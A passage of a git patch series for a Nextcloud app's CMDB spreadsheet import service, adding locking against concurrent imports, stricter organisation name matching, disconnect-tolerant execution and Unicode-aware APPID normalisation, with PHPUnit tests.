self::IMPORT_IN_PROGRESS => 409, ]; /** diff --git a/lib/Service/CmdbExportImportService.php b/lib/Service/CmdbExportImportService.php index 197e389fe..104bc67a8 100644 --- a/lib/Service/CmdbExportImportService.php +++ b/lib/Service/CmdbExportImportService.php @@ -28,6 +28,8 @@ * - Records missing from a newer export are left untouched. * - Owners become contact persons, never Nextcloud user accounts, and no * report entry or log line carries an owner name or e-mail address. + * - One import runs per register at a time: every match is find-then-create, + * so two interleaved runs would each create the same records. * * @category Service * @package OCA\Stackiq\Service @@ -55,6 +57,8 @@ use OCA\Stackiq\Service\Cmdb\CmdbRowNormaliser; use OCA\Stackiq\Service\Cmdb\CmdbWorkbookReader; use OCP\IL10N; +use OCP\Lock\ILockingProvider; +use OCP\Lock\LockedException; use Psr\Container\ContainerInterface; use Psr\Log\LoggerInterface; use Throwable; @@ -116,6 +120,11 @@ class CmdbExportImportService { 'contactPerson' => ['contactsUid', 'organization'], ]; + /** + * The lock an import holds for its register, so imports never interleave. + */ + private const LOCK_PREFIX = 'stackiq/cmdb-import/register-'; + /** * Page size for loading the organisations a name may match. */ @@ -180,6 +189,11 @@ class CmdbExportImportService { * @param CmdbRowNormaliser $normaliser Dates and ids to strings. * @param IL10N $l10n Translates report reasons and warnings. * @param LoggerInterface $logger Logger; never handed person data. + * @param ILockingProvider $lockingProvider Serialises imports per register. + * + * @SuppressWarnings(PHPMD.ExcessiveParameterList) Each collaborator is one concern of the + * import (the file, the packs, OpenRegister, Contacts, progress, the lock); grouping them + * into a parameter object would only move the same list one class further. * * @spec openspec/changes/cmdb-export-import/tasks.md#task-5 */ @@ -193,6 +207,7 @@ public function __construct( private readonly CmdbRowNormaliser $normaliser, private readonly IL10N $l10n, private readonly LoggerInterface $logger, + private readonly ILockingProvider $lockingProvider, ) { }//end __construct() @@ -268,16 +283,17 @@ public function requestCancel(string $operationId): bool { * Validation that can fail the whole import runs before any object is * written: the packs and the engine, the configuration, the workbook and * the municipality uuid. After that every row is processed in its own - * error boundary. + * error boundary. The import holds an exclusive lock on its register from + * before the file is read until it returns or throws. * * @param string $path The xlsx file, already checked by assertXlsx(). * @param array $options municipalityUuid, municipalityName, updateExisting, operationId. * * @return array The report (contract.md). * - * @throws CmdbImportException MAPPING_UNAVAILABLE, NOT_CONFIGURED, SCHEMA_OUTDATED, WORKBOOK_TOO_LARGE, - * READER_UNAVAILABLE, NOT_XLSX, NO_SOURCE_SHEET, MISSING_COLUMN, - * TOO_MANY_ROWS, MUNICIPALITY_REQUIRED or MUNICIPALITY_INVALID. + * @throws CmdbImportException MAPPING_UNAVAILABLE, NOT_CONFIGURED, SCHEMA_OUTDATED, IMPORT_IN_PROGRESS, + * WORKBOOK_TOO_LARGE, READER_UNAVAILABLE, NOT_XLSX, NO_SOURCE_SHEET, + * MISSING_COLUMN, TOO_MANY_ROWS, MUNICIPALITY_REQUIRED or MUNICIPALITY_INVALID. * @throws \Exception An unexpected OpenRegister error outside a row, such as * creating the municipality; rows catch their own. * @@ -292,6 +308,52 @@ public function import(string $path, array $options): array { $this->engine = $this->resolveEngine(); $this->coordinates = $this->resolveCoordinates(); + $lock = $this->acquireImportLock(register: $this->coordinates['register']); + try { + return $this->runImport(path: $path, options: $options, startedAt: $startedAt); + } finally { + $this->lockingProvider->releaseLock($lock, ILockingProvider::LOCK_EXCLUSIVE); + } + }//end import() + + /** + * Take the register's import lock, or refuse because another import holds it. + * + * @param int $register The register id. + * + * @return string The lock path, to release. + * + * @throws CmdbImportException IMPORT_IN_PROGRESS. + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-5 + */ + private function acquireImportLock(int $register): string { + $lock = self::LOCK_PREFIX . $register; + try { + $this->lockingProvider->acquireLock($lock, ILockingProvider::LOCK_EXCLUSIVE, 'CMDB import'); + } catch (LockedException $e) { + throw new CmdbImportException( + errorCode: CmdbImportException::IMPORT_IN_PROGRESS, + message: 'Another CMDB import is running for this register', + previous: $e + ); + } + + return $lock; + }//end acquireImportLock() + + /** + * Read the workbook and import its rows, under the register's lock. + * + * @param string $path The xlsx file. + * @param array $options The import options. + * @param string $startedAt ISO start time of the import. + * + * @return array The report. + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-7 + */ + private function runImport(string $path, array $options, string $startedAt): array { $workbook = $this->reader->read(path: $path, profile: $this->profile); $municipality = $this->resolveMunicipality(options: $options); @@ -342,7 +404,7 @@ public function import(string $path, array $options): array { ); return $result; - }//end import() + }//end runImport() /** * Process one row in its own error boundary and add its outcome. diff --git a/tests/Unit/Service/CmdbExportImportServiceTest.php b/tests/Unit/Service/CmdbExportImportServiceTest.php index b9bc3a1fd..6af9fd423 100644 --- a/tests/Unit/Service/CmdbExportImportServiceTest.php +++ b/tests/Unit/Service/CmdbExportImportServiceTest.php @@ -48,6 +48,8 @@ use OCP\ICacheFactory; use OCP\IL10N; use OCP\IUserSession; +use OCP\Lock\ILockingProvider; +use OCP\Lock\LockedException; use PHPUnit\Framework\TestCase; use Psr\Container\ContainerInterface; use Psr\Log\AbstractLogger; @@ -164,6 +166,13 @@ class CmdbExportImportServiceTest extends TestCase { */ private array $searches = []; + /** + * The locking provider every service of a test shares, as the instance does. + * + * @var ILockingProvider|null + */ + private ?ILockingProvider $locks = null; + /** * Reset the doubles. * @@ -183,8 +192,57 @@ protected function setUp(): void { $this->ignoredFilters = []; $this->scopedCalls = []; $this->searches = []; + $this->locks = $this->lockingProvider(); }//end setUp() + /** + * An in-memory locking provider: an exclusive lock that is held cannot be taken again. + * + * @return ILockingProvider + */ + private function lockingProvider(): ILockingProvider { + return new class implements ILockingProvider { + /** + * Held locks, path => type. + * + * @var array + */ + public array $held = []; + + /** + * Every lock taken, in order. + * + * @var array + */ + public array $taken = []; + + public function isLocked(string $path, int $type): bool { + return isset($this->held[$path]); + } + + public function acquireLock(string $path, int $type, ?string $readablePath = null): void { + if (isset($this->held[$path]) === true) { + throw new LockedException($path, null, null, $readablePath); + } + + $this->held[$path] = $type; + $this->taken[] = $path; + } + + public function releaseLock(string $path, int $type): void { + unset($this->held[$path]); + } + + public function changeLock(string $path, int $targetType): void { + $this->held[$path] = $targetType; + } + + public function releaseAll(): void { + $this->held = []; + } + }; + }//end lockingProvider() + /** * Every OpenRegister call of every test reads and writes unscoped, as the import must. * @@ -629,7 +687,8 @@ function (string $id) use ($objectService, $schemaMapper) { reader: ($reader ?? new CmdbWorkbookReader()), normaliser: new CmdbRowNormaliser(), l10n: $this->l10n(), - logger: $this->logger() + logger: $this->logger(), + lockingProvider: $this->locks ); }//end service() @@ -1437,6 +1496,62 @@ public function testProgressIsRecordedAndHoldsTheReport(): void { $this->assertSame($report, $stored['statistics']['report']); }//end testProgressIsRecordedAndHoldsTheReport() + /** + * A second import of the same register while the first runs is refused with IMPORT_IN_PROGRESS and writes nothing. + * + * @return void + */ + public function testASecondImportWhileOneRunsIsRefused(): void { + $this->seedOrganisation(uuid: 'muni-1', name: 'Gemeente Voorbeeldstad', type: 'Municipality'); + $second = $this->service(reader: $this->rowsReader(rows: [$this->row(appId: '9', row: 2)])); + $refusal = null; + $savesDuringSecond = null; + $this->beforeSave = function (int $schema) use ($second, &$refusal, &$savesDuringSecond): void { + if ($schema !== self::MODULE || $refusal !== null) { + return; + } + + $before = count($this->saves); + try { + $second->import(path: '', options: ['municipalityUuid' => 'muni-1']); + } catch (CmdbImportException $e) { + $refusal = $e; + } + + $savesDuringSecond = (count($this->saves) - $before); + }; + + $report = $this->service(reader: $this->rowsReader(rows: [$this->row(appId: '1', row: 2), $this->row(appId: '2', row: 3)])) + ->import(path: '', options: ['municipalityUuid' => 'muni-1']); + + $this->assertInstanceOf(CmdbImportException::class, $refusal, 'the second import was refused'); + $this->assertSame('IMPORT_IN_PROGRESS', $refusal->getErrorCode()); + $this->assertSame(409, $refusal->getHttpStatus()); + $this->assertSame(0, $savesDuringSecond); + $this->assertSame(2, $report['summary']['created'], 'the first import ran on'); + $this->assertSame([], $this->locks->held, 'the lock is released when the import returns'); + $this->assertSame(['stackiq/cmdb-import/register-' . self::REGISTER], array_unique($this->locks->taken)); + }//end testASecondImportWhileOneRunsIsRefused() + + /** + * The lock is released when the import throws, so the next import runs. + * + * @return void + */ + public function testTheLockIsReleasedWhenTheImportThrows(): void { + try { + $this->service(reader: $this->rowsReader(rows: [$this->row(appId: '1')]))->import(path: '', options: ['municipalityUuid' => 'no-such-municipality']); + $this->fail('MUNICIPALITY_INVALID expected'); + } catch (CmdbImportException $e) { + $this->assertSame('MUNICIPALITY_INVALID', $e->getErrorCode()); + } + + $this->assertSame([], $this->locks->held); + $this->seedOrganisation(uuid: 'muni-1', name: 'Gemeente Voorbeeldstad', type: 'Municipality'); + $report = $this->service(reader: $this->rowsReader(rows: [$this->row(appId: '1')]))->import(path: '', options: ['municipalityUuid' => 'muni-1']); + $this->assertSame(1, $report['summary']['created']); + }//end testTheLockIsReleasedWhenTheImportThrows() + /** * A cancel after row 1 of 3 keeps row 1 and reports cancelled with one processed row. * From 1228afd07d4925c6c68a1d5271d17de8aafd4577 Mon Sep 17 00:00:00 2001 From: WilcoLouwerse Date: Mon, 5 Oct 2026 10:59:18 +0200 Subject: [PATCH 119/176] fix(cmdb-import): a name never matches a merged-away or inactive organisation The municipality and supplier name lookups kept every organisation of the right type, whatever its status. An import could therefore link new usages to a merge tombstone (status merged) or a retired organisation, where the live organisation would never show them. Organisations with status merged or Inactive are now left out of name matching, so the live organisation is matched or a new one is created. A municipality uuid that is a merge tombstone is MUNICIPALITY_INVALID. Co-Authored-By: Claude Opus 5.5 --- lib/Service/CmdbExportImportService.php | 30 +++++++++-- .../Service/CmdbExportImportServiceTest.php | 51 ++++++++++++++++++- 2 files changed, 75 insertions(+), 6 deletions(-) diff --git a/lib/Service/CmdbExportImportService.php b/lib/Service/CmdbExportImportService.php index 104bc67a8..67a87c7dc 100644 --- a/lib/Service/CmdbExportImportService.php +++ b/lib/Service/CmdbExportImportService.php @@ -22,7 +22,8 @@ * Rules stated once and enforced here: * - A module matches on `externalKey`; a usage on (consumer, module); a * supplier on its normalised name and type Supplier; a contact person on - * (contactsUid, organization). + * (contactsUid, organization). An organisation that was merged away + * (status `merged`) or is `Inactive` is never matched by name. * - `publicationDate` is set to the import's start on create and never * written on update; neither is `depublicationDate`. * - Records missing from a newer export are left untouched. @@ -125,6 +126,13 @@ class CmdbExportImportService { */ private const LOCK_PREFIX = 'stackiq/cmdb-import/register-'; + /** + * Organisation statuses a name never matches: a merge tombstone, and a retired organisation. + * + * @var array + */ + private const UNMATCHED_STATUSES = ['merged', 'Inactive']; + /** * Page size for loading the organisations a name may match. */ @@ -1112,7 +1120,7 @@ private function resolveMunicipality(array $options): array { }//end resolveMunicipality() /** - * Resolve a municipality uuid, which must be an organisation of type Municipality. + * Resolve a municipality uuid, which must be an organisation of type Municipality that was not merged away. * * @param string $uuid The organisation uuid. * @@ -1150,6 +1158,14 @@ private function municipalityByUuid(string $uuid): array { ); } + // A merge tombstone points at the organisation that replaced it; data never goes to the tombstone. + if (($data['status'] ?? null) === 'merged') { + throw new CmdbImportException( + errorCode: CmdbImportException::MUNICIPALITY_INVALID, + message: 'The municipality uuid is an organisation that was merged into another' + ); + } + return ['uuid' => (string)$organisation->getUuid(), 'name' => (string)($data['name'] ?? ''), 'created' => false]; }//end municipalityByUuid() @@ -1175,7 +1191,10 @@ private function suppliers(): array { }//end suppliers() /** - * Every organisation of a type, as uuid and name. + * Every organisation of a type that a name may match, as uuid and name. + * + * Merge tombstones and inactive organisations are left out: new data + * linked to them would never show where the live organisation is used. * * @param string $type Municipality or Supplier. * @@ -1205,7 +1224,10 @@ private function organisationsOfType(string $type): array { foreach ($page as $entity) { $data = $entity->getObject(); // The filter is checked again: a filter OpenRegister cannot apply must not widen the match. - if (($data['type'] ?? null) === $type && $entity->getUuid() !== null) { + if (($data['type'] ?? null) === $type + && $entity->getUuid() !== null + && in_array(($data['status'] ?? null), self::UNMATCHED_STATUSES, true) === false + ) { $found[] = ['uuid' => (string)$entity->getUuid(), 'name' => ($data['name'] ?? '')]; } } diff --git a/tests/Unit/Service/CmdbExportImportServiceTest.php b/tests/Unit/Service/CmdbExportImportServiceTest.php index 6af9fd423..24ef6a6cf 100644 --- a/tests/Unit/Service/CmdbExportImportServiceTest.php +++ b/tests/Unit/Service/CmdbExportImportServiceTest.php @@ -745,11 +745,12 @@ private function objects(int $schema): array { * @param string $uuid The uuid. * @param string $name The name. * @param string $type The type. + * @param string $status The status. * * @return void */ - private function seedOrganisation(string $uuid, string $name, string $type): void { - $this->store[self::ORGANIZATION][$uuid] = ['id' => $uuid, 'name' => $name, 'type' => $type, 'status' => 'Active']; + private function seedOrganisation(string $uuid, string $name, string $type, string $status = 'Active'): void { + $this->store[self::ORGANIZATION][$uuid] = ['id' => $uuid, 'name' => $name, 'type' => $type, 'status' => $status]; }//end seedOrganisation() // ------------------------------------------------------------------ @@ -869,6 +870,52 @@ public function testReimportingTheSameExportChangesNothing(): void { $this->assertCount(1, $municipalities); }//end testReimportingTheSameExportChangesNothing() + /** + * A municipality or supplier name never matches a merge tombstone or an inactive organisation. + * + * @return void + */ + public function testTombstonedAndInactiveOrganisationsAreNotMatched(): void { + $this->seedOrganisation(uuid: 'muni-merged', name: 'Gemeente Voorbeeldstad', type: 'Municipality', status: 'merged'); + $this->seedOrganisation(uuid: 'muni-live', name: 'Gemeente Voorbeeldstad', type: 'Municipality'); + $this->seedOrganisation(uuid: 'sup-merged', name: 'Fabfrikant', type: 'Supplier', status: 'merged'); + $this->seedOrganisation(uuid: 'sup-inactive', name: 'Fabfrikant', type: 'Supplier', status: 'Inactive'); + $this->seedOrganisation(uuid: 'sup-live', name: 'Fabfrikant', type: 'Supplier'); + + $report = $this->service(reader: $this->rowsReader(rows: [$this->row(appId: '1')]))->import(path: '', options: ['municipalityName' => 'Gemeente Voorbeeldstad']); + + $this->assertSame('muni-live', $report['municipality']['uuid']); + $this->assertFalse($report['municipality']['created']); + $module = $this->objects(self::MODULE)[0]; + $this->assertSame('sup-live', $module['provider']); + $this->assertSame('muni-live', $this->objects(self::USAGE)[0]['consumer']); + }//end testTombstonedAndInactiveOrganisationsAreNotMatched() + + /** + * A supplier known only as inactive is created anew, and a merged municipality uuid is refused. + * + * @return void + */ + public function testOnlyRetiredMatchesMeanANewSupplierAndAMergedUuidIsRefused(): void { + $this->seedOrganisation(uuid: 'muni-1', name: 'Gemeente Voorbeeldstad', type: 'Municipality'); + $this->seedOrganisation(uuid: 'sup-inactive', name: 'Fabfrikant', type: 'Supplier', status: 'Inactive'); + $this->service(reader: $this->rowsReader(rows: [$this->row(appId: '1')]))->import(path: '', options: ['municipalityUuid' => 'muni-1']); + $provider = $this->objects(self::MODULE)[0]['provider']; + $this->assertNotSame('sup-inactive', $provider); + $this->assertSame('Active', $this->store[self::ORGANIZATION][$provider]['status']); + + $this->seedOrganisation(uuid: 'muni-merged', name: 'Gemeente Oud', type: 'Municipality', status: 'merged'); + $saves = count($this->saves); + try { + $this->service(reader: $this->rowsReader(rows: [$this->row(appId: '2')]))->import(path: '', options: ['municipalityUuid' => 'muni-merged']); + $this->fail('MUNICIPALITY_INVALID expected'); + } catch (CmdbImportException $e) { + $this->assertSame('MUNICIPALITY_INVALID', $e->getErrorCode()); + } + + $this->assertCount($saves, $this->saves); + }//end testOnlyRetiredMatchesMeanANewSupplierAndAMergedUuidIsRefused() + /** * A module schema without externalKey stops the import before reading: no duplicates of every record. * From 186c05173536fde4d4dbd6f809339093f36df0bf Mon Sep 17 00:00:00 2001 From: WilcoLouwerse Date: Mon, 5 Oct 2026 11:00:51 +0200 Subject: [PATCH 120/176] fix(cmdb-import): refuse an ambiguous municipality name and warn when a name creates one A municipality given by name took the first of several same-name matches (Dutch municipality names are not unique, and tenants can share a name), and every external key then embedded that guess. An unknown name silently created a new municipality, so a typo started a second catalogue. Several live municipalities with the normalised name are now MUNICIPALITY_AMBIGUOUS (422), with the matching uuids in the details, and nothing is written. A name that matches none still creates the municipality, as the spec says, and the report carries an import warning naming it. Co-Authored-By: Claude Opus 5.5 --- lib/Exception/CmdbImportException.php | 2 + lib/Service/CmdbExportImportService.php | 44 ++++++++++++++++--- .../Service/CmdbExportImportServiceTest.php | 40 ++++++++++++++++- 3 files changed, 79 insertions(+), 7 deletions(-) diff --git a/lib/Exception/CmdbImportException.php b/lib/Exception/CmdbImportException.php index 86a795aba..31404c505 100644 --- a/lib/Exception/CmdbImportException.php +++ b/lib/Exception/CmdbImportException.php @@ -49,6 +49,7 @@ class CmdbImportException extends RuntimeException { public const WORKBOOK_TOO_LARGE = 'WORKBOOK_TOO_LARGE'; public const SCHEMA_OUTDATED = 'SCHEMA_OUTDATED'; public const IMPORT_IN_PROGRESS = 'IMPORT_IN_PROGRESS'; + public const MUNICIPALITY_AMBIGUOUS = 'MUNICIPALITY_AMBIGUOUS'; /** * HTTP status per error code. @@ -68,6 +69,7 @@ class CmdbImportException extends RuntimeException { self::WORKBOOK_TOO_LARGE => 413, self::SCHEMA_OUTDATED => 503, self::IMPORT_IN_PROGRESS => 409, + self::MUNICIPALITY_AMBIGUOUS => 422, ]; /** diff --git a/lib/Service/CmdbExportImportService.php b/lib/Service/CmdbExportImportService.php index 67a87c7dc..2c030f47e 100644 --- a/lib/Service/CmdbExportImportService.php +++ b/lib/Service/CmdbExportImportService.php @@ -301,7 +301,8 @@ public function requestCancel(string $operationId): bool { * * @throws CmdbImportException MAPPING_UNAVAILABLE, NOT_CONFIGURED, SCHEMA_OUTDATED, IMPORT_IN_PROGRESS, * WORKBOOK_TOO_LARGE, READER_UNAVAILABLE, NOT_XLSX, NO_SOURCE_SHEET, - * MISSING_COLUMN, TOO_MANY_ROWS, MUNICIPALITY_REQUIRED or MUNICIPALITY_INVALID. + * MISSING_COLUMN, TOO_MANY_ROWS, MUNICIPALITY_REQUIRED, + * MUNICIPALITY_INVALID or MUNICIPALITY_AMBIGUOUS. * @throws \Exception An unexpected OpenRegister error outside a row, such as * creating the municipality; rows catch their own. * @@ -370,6 +371,19 @@ private function runImport(string $path, array $options, string $startedAt): arr $report = new CmdbImportReport(operationId: $operationId, rowsRead: count($rows)); $report->setMunicipality(uuid: $municipality['uuid'], name: $municipality['name'], created: $municipality['created']); $report->addImportWarnings(warnings: $this->translateImportWarnings(warnings: $workbook['importWarnings'])); + if ($municipality['created'] === true) { + $report->addImportWarnings( + warnings: [ + [ + 'sheet' => '', + 'message' => $this->l10n->t( + 'No municipality named "%s" was found, so it was created. Check the name if you meant an existing one.', + [$municipality['name']] + ), + ], + ] + ); + } $this->progressTracker->startOperation( operationType: self::OPERATION_TYPE, @@ -1083,11 +1097,16 @@ private function resolveContactPerson(string $contactsUid, string $municipalityU /** * Resolve the consuming municipality from the options. * + * A name matches the one live Municipality with that normalised name. + * Several matches are refused rather than guessed: the uuid embedded in + * every external key would bind the whole catalogue to the guess. No + * match creates the municipality, which the report then warns about. + * * @param array $options municipalityUuid or municipalityName. * * @return array{uuid: string, name: string, created: bool} * - * @throws CmdbImportException MUNICIPALITY_REQUIRED or MUNICIPALITY_INVALID. + * @throws CmdbImportException MUNICIPALITY_REQUIRED, MUNICIPALITY_INVALID or MUNICIPALITY_AMBIGUOUS. * * @spec openspec/changes/cmdb-export-import/tasks.md#task-5 */ @@ -1106,10 +1125,23 @@ private function resolveMunicipality(array $options): array { } $key = self::normaliseName(name: $name); - foreach ($this->organisationsOfType(type: 'Municipality') as $organisation) { - if (self::normaliseName(name: (string)($organisation['name'] ?? '')) === $key) { - return ['uuid' => $organisation['uuid'], 'name' => (string)$organisation['name'], 'created' => false]; - } + $matches = array_values( + array_filter( + $this->organisationsOfType(type: 'Municipality'), + static fn (array $organisation): bool => self::normaliseName(name: (string)($organisation['name'] ?? '')) === $key + ) + ); + + if (count($matches) > 1) { + throw new CmdbImportException( + errorCode: CmdbImportException::MUNICIPALITY_AMBIGUOUS, + message: 'Several municipalities have this name', + details: ['matches' => array_column($matches, 'uuid')] + ); + } + + if ($matches !== []) { + return ['uuid' => $matches[0]['uuid'], 'name' => (string)$matches[0]['name'], 'created' => false]; } $data = $mapped['data']; diff --git a/tests/Unit/Service/CmdbExportImportServiceTest.php b/tests/Unit/Service/CmdbExportImportServiceTest.php index 24ef6a6cf..15936c6fb 100644 --- a/tests/Unit/Service/CmdbExportImportServiceTest.php +++ b/tests/Unit/Service/CmdbExportImportServiceTest.php @@ -773,7 +773,7 @@ public function testTheFixtureCreatesModulesUsagesAndSuppliers(): void { $this->assertSame(['rowsRead' => 2, 'processed' => 2, 'created' => 2, 'updated' => 0, 'unchanged' => 0, 'skipped' => 0, 'failed' => 0, 'warnings' => 0], $report['summary']); $this->assertSame('Gemeente Voorbeeldstad', $report['municipality']['name']); $this->assertTrue($report['municipality']['created']); - $this->assertSame([], $report['importWarnings']); + $this->assertSame(['No municipality named "Gemeente Voorbeeldstad" was found, so it was created. Check the name if you meant an existing one.'], array_column($report['importWarnings'], 'message'), 'only the warning that the municipality was created'); // "Webapplicatie" is an application kind, not a hosting model: kept as the kind, no hosting model, no warning. $this->assertSame([], $report['rows'][0]['warnings']); @@ -870,6 +870,44 @@ public function testReimportingTheSameExportChangesNothing(): void { $this->assertCount(1, $municipalities); }//end testReimportingTheSameExportChangesNothing() + /** + * Two municipalities with the same name are refused as ambiguous, naming both, and nothing is written. + * + * @return void + */ + public function testAnAmbiguousMunicipalityNameIsRefused(): void { + $this->seedOrganisation(uuid: 'muni-bergen-nh', name: 'Gemeente Bergen', type: 'Municipality'); + $this->seedOrganisation(uuid: 'muni-bergen-l', name: 'gemeente bergen', type: 'Municipality'); + + try { + $this->service(reader: $this->rowsReader(rows: [$this->row(appId: '1')]))->import(path: '', options: ['municipalityName' => 'Gemeente Bergen']); + $this->fail('MUNICIPALITY_AMBIGUOUS expected'); + } catch (CmdbImportException $e) { + $this->assertSame('MUNICIPALITY_AMBIGUOUS', $e->getErrorCode()); + $this->assertSame(422, $e->getHttpStatus()); + $this->assertSame(['matches' => ['muni-bergen-nh', 'muni-bergen-l']], $e->getDetails()); + } + + $this->assertSame([], $this->saves); + }//end testAnAmbiguousMunicipalityNameIsRefused() + + /** + * A name that matches no municipality creates it, and the report warns about that. + * + * @return void + */ + public function testANewMunicipalityIsCreatedWithAWarning(): void { + $this->seedOrganisation(uuid: 'muni-1', name: 'Gemeente Rotterdam', type: 'Municipality'); + + $report = $this->service(reader: $this->rowsReader(rows: [$this->row(appId: '1')]))->import(path: '', options: ['municipalityName' => 'Gemeente Rotterdm']); + + $this->assertTrue($report['municipality']['created']); + $this->assertSame( + [['sheet' => '', 'message' => 'No municipality named "Gemeente Rotterdm" was found, so it was created. Check the name if you meant an existing one.']], + $report['importWarnings'] + ); + }//end testANewMunicipalityIsCreatedWithAWarning() + /** * A municipality or supplier name never matches a merge tombstone or an inactive organisation. * From eae29bc0607336fa986da46bb1df3e821d15ffde Mon Sep 17 00:00:00 2001 From: WilcoLouwerse Date: Mon, 5 Oct 2026 11:01:37 +0200 Subject: [PATCH 121/176] fix(cmdb-import): a closed tab or a short PHP time limit no longer cuts an import short The import runs synchronously in the upload request. A closed browser tab or a proxy that gave up stopped PHP after some rows, and a web max_execution_time below the run time killed it with a fatal error, in both cases with no report and the operation left running. The import now calls ignore_user_abort(true) and raises the time limit to 3000 s (never lowers it, and leaves an unlimited one alone), below the 3600 s lifetime of the register lock it holds. A failure inside the run already closes the operation as failed (c215ea42). Co-Authored-By: Claude Opus 5.5 --- lib/Service/CmdbExportImportService.php | 27 +++++++++++++++++++ .../Service/CmdbExportImportServiceTest.php | 17 ++++++++++++ 2 files changed, 44 insertions(+) diff --git a/lib/Service/CmdbExportImportService.php b/lib/Service/CmdbExportImportService.php index 2c030f47e..e1fb79191 100644 --- a/lib/Service/CmdbExportImportService.php +++ b/lib/Service/CmdbExportImportService.php @@ -121,6 +121,11 @@ class CmdbExportImportService { 'contactPerson' => ['contactsUid', 'organization'], ]; + /** + * Wall-clock seconds an import may run, below the default 3600 s lifetime of a Nextcloud lock. + */ + public const TIME_LIMIT_SECONDS = 3000; + /** * The lock an import holds for its register, so imports never interleave. */ @@ -311,6 +316,7 @@ public function requestCancel(string $operationId): bool { */ public function import(string $path, array $options): array { $this->resetRun(); + $this->keepRunning(); $startedAt = (new DateTimeImmutable('now', new DateTimeZone('UTC')))->format(DATE_ATOM); $this->profile->load(); @@ -325,6 +331,27 @@ public function import(string $path, array $options): array { } }//end import() + /** + * Let the import finish when the browser goes away, within a bounded time. + * + * A closed tab or a proxy that gives up would otherwise stop PHP after + * some rows, with no report and the operation left running. The time + * limit is only ever raised to TIME_LIMIT_SECONDS, never lowered, and an + * unlimited one (the CLI) stays unlimited. + * + * @return void + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-7 + */ + private function keepRunning(): void { + ignore_user_abort(true); + + $current = (int)ini_get('max_execution_time'); + if ($current > 0 && $current < self::TIME_LIMIT_SECONDS && function_exists('set_time_limit') === true) { + set_time_limit(self::TIME_LIMIT_SECONDS); + } + }//end keepRunning() + /** * Take the register's import lock, or refuse because another import holds it. * diff --git a/tests/Unit/Service/CmdbExportImportServiceTest.php b/tests/Unit/Service/CmdbExportImportServiceTest.php index 15936c6fb..46205de7b 100644 --- a/tests/Unit/Service/CmdbExportImportServiceTest.php +++ b/tests/Unit/Service/CmdbExportImportServiceTest.php @@ -1581,6 +1581,23 @@ public function testProgressIsRecordedAndHoldsTheReport(): void { $this->assertSame($report, $stored['statistics']['report']); }//end testProgressIsRecordedAndHoldsTheReport() + /** + * A closed browser tab does not stop a running import. + * + * @return void + */ + public function testAnImportKeepsRunningWhenTheClientGoesAway(): void { + $this->seedOrganisation(uuid: 'muni-1', name: 'Gemeente Voorbeeldstad', type: 'Municipality'); + $previous = ignore_user_abort(false); + + try { + $this->service(reader: $this->rowsReader(rows: [$this->row(appId: '1')]))->import(path: '', options: ['municipalityUuid' => 'muni-1']); + $this->assertSame(1, ignore_user_abort()); + } finally { + ignore_user_abort((bool)$previous); + } + }//end testAnImportKeepsRunningWhenTheClientGoesAway() + /** * A second import of the same register while the first runs is refused with IMPORT_IN_PROGRESS and writes nothing. * From b82ae9b47657cfe0f2eb6ad13b78c8943e3e0efc Mon Sep 17 00:00:00 2001 From: WilcoLouwerse Date: Mon, 5 Oct 2026 11:05:59 +0200 Subject: [PATCH 122/176] fix(cmdb-import): an APPID matches whatever its case or a trailing non-breaking space trim() leaves a non-breaking space, and the key compared case-sensitively, so `APP-1`, `APP-1` + NBSP and `app-1` became three modules, and an export that changed the spelling duplicated the application. A row skipped for a missing name also claimed its APPID, so a later valid row with that APPID was reported as a duplicate. The normaliser now trims Unicode whitespace (NBSP, zero-width space, byte-order mark) at the ends of every value. The duplicate check and the externalKey use the APPID in lower case; externalNumber keeps it as the export writes it. An APPID is claimed only once its row has passed the required-value check. Co-Authored-By: Claude Opus 5.5 --- lib/Service/Cmdb/CmdbRowNormaliser.php | 12 +++++- lib/Service/CmdbExportImportService.php | 38 +++++++++++++++---- .../Service/Cmdb/CmdbRowNormaliserTest.php | 16 ++++++++ .../Service/CmdbExportImportServiceTest.php | 36 ++++++++++++++++++ 4 files changed, 93 insertions(+), 9 deletions(-) diff --git a/lib/Service/Cmdb/CmdbRowNormaliser.php b/lib/Service/Cmdb/CmdbRowNormaliser.php index 80c71f080..e2d54f5a9 100644 --- a/lib/Service/Cmdb/CmdbRowNormaliser.php +++ b/lib/Service/Cmdb/CmdbRowNormaliser.php @@ -179,6 +179,9 @@ private static function meansEmpty(string $text, array $empty): bool { /** * Any scalar as trimmed text; null as the empty string. * + * Trimming removes Unicode whitespace too: a non-breaking space, a + * zero-width space or a byte-order mark around a value is not part of it. + * * @param mixed $value The raw value. * * @return string @@ -204,6 +207,13 @@ private function toText(mixed $value): string { return ''; } - return trim((string)$value); + $text = (string)$value; + $trimmed = preg_replace('/^[\s\x{00A0}\x{200B}\x{FEFF}]+|[\s\x{00A0}\x{200B}\x{FEFF}]+$/u', '', $text); + if ($trimmed === null) { + // Not valid UTF-8: trim the ASCII whitespace only. + return trim($text); + } + + return $trimmed; }//end toText() }//end class diff --git a/lib/Service/CmdbExportImportService.php b/lib/Service/CmdbExportImportService.php index e1fb79191..456451460 100644 --- a/lib/Service/CmdbExportImportService.php +++ b/lib/Service/CmdbExportImportService.php @@ -9,7 +9,8 @@ * CMDB") becomes, or updates, a `module` with its vendor `organization` * (type Supplier), a `usage` that links it to the municipality, and a * `contactPerson` for its owner, resolved through Nextcloud Contacts. Rows - * are matched on `externalKey` = `topdesk::`, so a + * are matched on `externalKey` = `topdesk::` (the + * APPID in lower case), so a * second import of a newer export updates the same records. * * What each column becomes is declarative: the migration packs under @@ -496,7 +497,8 @@ private function processRow( $warnings[] = $this->l10n->t('Column "%s": formula without a cached value, read as empty', [(string)$column]); } - $skipReason = $this->skipReason(appId: $appId); + $matchKey = self::matchKey(appId: $appId); + $skipReason = $this->skipReason(appId: $appId, matchKey: $matchKey); if ($skipReason !== null) { $this->addRow(report: $report, entry: $entry, outcome: CmdbImportReport::SKIPPED, reasons: [$skipReason], warnings: $warnings); return; @@ -514,11 +516,14 @@ private function processRow( return; } + // Claimed only now: a row skipped for a missing value leaves its APPID to a later row. + $this->seenKeys[$matchKey] = true; + $step = 'manufacturer'; $providerUuid = $this->resolveManufacturer(values: $values, rowNumber: $rowNumber); $step = 'module'; - $externalKey = $this->profile->externalKeyPrefix() . ':' . $municipalityUuid . ':' . $appId; + $externalKey = $this->profile->externalKeyPrefix() . ':' . $municipalityUuid . ':' . $matchKey; $moduleResult = $this->upsertModule( data: $module['data'], externalKey: $externalKey, @@ -707,28 +712,45 